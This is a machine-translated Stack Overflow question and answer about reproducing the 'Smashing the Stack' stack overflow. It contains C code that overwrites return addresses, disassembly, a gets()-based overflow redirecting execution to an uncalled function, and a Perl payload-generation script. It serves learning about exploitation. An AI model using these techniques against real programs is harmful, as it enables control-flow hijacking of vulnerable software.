Mik*_*e G 6 c stack-overflow gcc exploit gnu
我试图重现,我从一个阿莱夫的文章"砸堆栈的乐趣和利润"读计算器结果(可以在这里找到:http://insecure.org/stf/smashstack.html).
试图覆盖返回地址似乎不适合我.
C代码:
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
//Trying to overwrite return address
ret = buffer1 + 12;
(*ret) = 0x4005da;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
Run Code Online (Sandbox Code Playgroud)
拆卸主要:
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004005b0 <+0>: push %rbp
0x00000000004005b1 <+1>: mov %rsp,%rbp
0x00000000004005b4 <+4>: sub $0x10,%rsp
0x00000000004005b8 <+8>: movl $0x0,-0x4(%rbp)
0x00000000004005bf <+15>: mov $0x3,%edx
0x00000000004005c4 <+20>: mov $0x2,%esi
0x00000000004005c9 <+25>: mov $0x1,%edi
0x00000000004005ce <+30>: callq 0x400564 <function>
0x00000000004005d3 <+35>: movl $0x1,-0x4(%rbp)
0x00000000004005da <+42>: mov -0x4(%rbp),%eax
0x00000000004005dd <+45>: mov %eax,%esi
0x00000000004005df <+47>: mov $0x4006dc,%edi
0x00000000004005e4 <+52>: mov $0x0,%eax
0x00000000004005e9 <+57>: callq 0x400450 <printf@plt>
0x00000000004005ee <+62>: leaveq
0x00000000004005ef <+63>: retq
End of assembler dump.
Run Code Online (Sandbox Code Playgroud)
我已经硬编码了返回地址以跳过x = 1; 代码行,我使用了反汇编程序的硬编码值(地址:0x4005da).此漏洞的目的是打印0,但它打印1.
我有一种强烈的感觉,"ret = buffer1 + 12;" 不是返回地址的地址.如果是这种情况,我如何确定返回地址,是gcc在返回地址和缓冲区之间分配更多内存.
这是我前一段时间为朋友写的关于使用进行缓冲区溢出攻击的指南gets
。它讨论了如何获取返回地址以及如何使用它来覆盖旧地址:
我们对堆栈的了解告诉我们,返回地址出现在您尝试溢出的缓冲区之后的堆栈上。但是,返回地址出现在缓冲区后多远取决于您使用的体系结构。为了确定这一点,首先编写一个简单的程序并检查程序集:
C代码:
void function()
{
char buffer[4];
}
int main()
{
function();
}
Run Code Online (Sandbox Code Playgroud)
组装(精简):
function:
pushl %ebp
movl %esp, %ebp
subl $16, %esp
leave
ret
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
call function
...
Run Code Online (Sandbox Code Playgroud)
您可以使用多种工具来检查汇编代码。首先,当然是使用gcc -S main.c直接编译为gcc的程序集输出。由于几乎没有暗示什么代码对应于原始C代码,因此这可能很难阅读。此外,还有很多样板代码可能很难筛选。要考虑的另一个工具是gdbtui。使用gdbtui的好处是,您可以在运行程序时检查程序集源,并在程序执行期间手动检查堆栈。但是,它具有陡峭的学习曲线。
我最喜欢的程序集检查程序是objdump。运行objdump -dS a.out
为汇编源提供了原始C源代码中的上下文。使用objdump,在我的计算机上,从字符缓冲区返回地址的偏移量是8个字节。
此函数function
获取返回地址,并将其递增7。最初指向的返回地址的指令长度为7个字节,因此加7使返回地址指向分配后的指令。
在下面的示例中,我覆盖了返回地址以跳过指令x = 1
。
简单的C程序:
void function()
{
char buffer[4];
/* return address is 8 bytes beyond the start of the buffer */
int *ret = buffer + 8;
/* assignment instruction we want to skip is 7 bytes long */
(*ret) += 7;
}
int main()
{
int x = 0;
function();
x = 1;
printf("%d\n",x);
}
Run Code Online (Sandbox Code Playgroud)
主要功能(在80483af处x = 1,长度为7个字节):
8048392: 8d4c2404 lea 0x4(%esp),%ecx
8048396: 83e4f0 and $0xfffffff0,%esp
8048399: ff71fc pushl -0x4(%ecx)
804839c: 55 push %ebp
804839d: 89e5 mov %esp,%ebp
804839f: 51 push %ecx
80483a0: 83ec24 sub $0x24,%esp
80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
80483aa: e8c5ffffff call 8048374 <function>
80483af: c745f801000000 movl $0x1,-0x8(%ebp)
80483b6: 8b45f8 mov -0x8(%ebp),%eax
80483b9: 89442404 mov %eax,0x4(%esp)
80483bd: c70424a0840408 movl $0x80484a0,(%esp)
80483c4: e80fffffff call 80482d8 <printf@plt>
80483c9: 83c424 add $0x24,%esp
80483cc: 59 pop %ecx
80483cd: 5d pop %ebp
Run Code Online (Sandbox Code Playgroud)
我们知道返回地址在哪里,并且我们已经证明了更改返回地址会影响所运行的代码。缓冲区溢出可以通过使用gets
和输入正确的字符串来做同样的事情,以便用新地址覆盖返回地址。
在下面的新示例中,我们有一个函数function
,该函数具有使用gets填充的缓冲区。我们还有一个uncalled
永远不会被调用的函数。有了正确的输入,我们就可以不运行了。
#include <stdio.h>
#include <stdlib.h>
void uncalled()
{
puts("uh oh!");
exit(1);
}
void function()
{
char buffer[4];
gets(buffer);
}
int main()
{
function();
puts("program secure");
}
Run Code Online (Sandbox Code Playgroud)
要运行uncalled
,请使用objdump
或类似方法检查可执行文件以找到的入口点的地址uncalled
。然后将地址附加到输入缓冲区的正确位置,以便其覆盖旧的返回地址。如果您的计算机是Little-endian(x86等),则需要交换地址的字节序。
为了正确执行此操作,我在下面有一个简单的perl脚本,该脚本生成的输入将导致缓冲区溢出,从而覆盖返回地址。它有两个参数,第一个是新的返回地址,第二个是从缓冲区开始到返回地址位置的距离(以字节为单位)。
#!/usr/bin/perl
print "x"x@ARGV[1]; # fill the buffer
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
print "\n"; # new line to end gets
Run Code Online (Sandbox Code Playgroud)